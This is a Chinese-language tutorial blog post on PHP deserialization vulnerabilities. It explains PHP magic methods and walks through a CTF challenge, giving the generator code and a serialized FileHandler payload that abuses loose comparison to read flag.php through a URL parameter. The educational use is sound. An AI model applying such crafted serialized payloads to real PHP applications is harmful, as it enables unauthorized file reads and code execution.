PHP 反序列化

PHP 反序列化漏洞简介

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:

参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

无类测试

serialize
在这里插入图片描述

unserialize
在这里插入图片描述

有类测试

在这里插入图片描述

<?php
	class ABC{
    public $test;
    function __construct(){
        $test = 1;
        echo '调用了构造函数<br>';
    }
    function __destruct(){
        echo '调用了析构函数<br>';
    }
    function __wakeup(){
        echo '调用了苏醒函数<br>';
    }
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!<br>';
?>

运行结果:
创建对象a
调用了构造函数
序列化
反序列化
调用了苏醒函数
对象快要死了!
调用了析构函数
调用了析构函数

CTF真题

在这里插入图片描述

进入靶场后,页面显示代码如下:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

?>

代码解析及思路:

1、代码中包含了flag.php,定义了一个名为FileHandler的类,并且对GET方式提交的$str进行反序列化操作

2、由此考虑给$str传入被序列化后的FileHandler类,那么调用unserialize的时候会检查类中有没有__wakeup方法,这里没有所以不调用。
   而当程序退出时$obj会被销毁,此时会调用__destruct方法。

3、这里__destruct方法先判断$obj的op属性是否等于2(注意:这里使用的是3个等于),若是则将其赋值为1,然后调用类的process方法。
   而process方法首先判断$obj的op属性是1还是2(注意:这里使用的是2个等于),若是1则调用类的write方法,若是2则调用类的read方法。

4、由于目的是得到flag,所以我们应该让其调用read方法,由此应该在调用process方法时使$obj的op属性等于2。
   但是这里有个问题,如果我们给$str传值的时候就传入op属性等于2,其反序列化后的对象$obj销毁时调用__destruct方法,会重新将op赋值为1,
   导致后面无法调用read方法,那么该如何绕过op的重新赋值呢?

5、观察到__destruct方法判断$obj的op属性是否等于2时使用的是3个等于号(强等于,不会进行类型转换),即要op要为字符串形式的"2"时才为True。
   而process方法判断$obj的op属性值时使用的是2个等于号(弱等于,类型转换后再比较)。
   由此一来,只需要构造op为数值的2或者" 2"即可绕过op的重新赋值,成功调用read方法。
   并且让filename="flag.php",这样read方法才能读取到flag内容。

6、利用以下代码的输出结果给$str传值:
<?php
class FileHandler {
	public $op = ' 2';
	public $filename = "flag.php";
	public $content = "ch4ser";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"ch4ser";}

7、在url地址栏后输入?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"ch4ser";}
   右键 - 查看页面源代码 - 得到flag
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值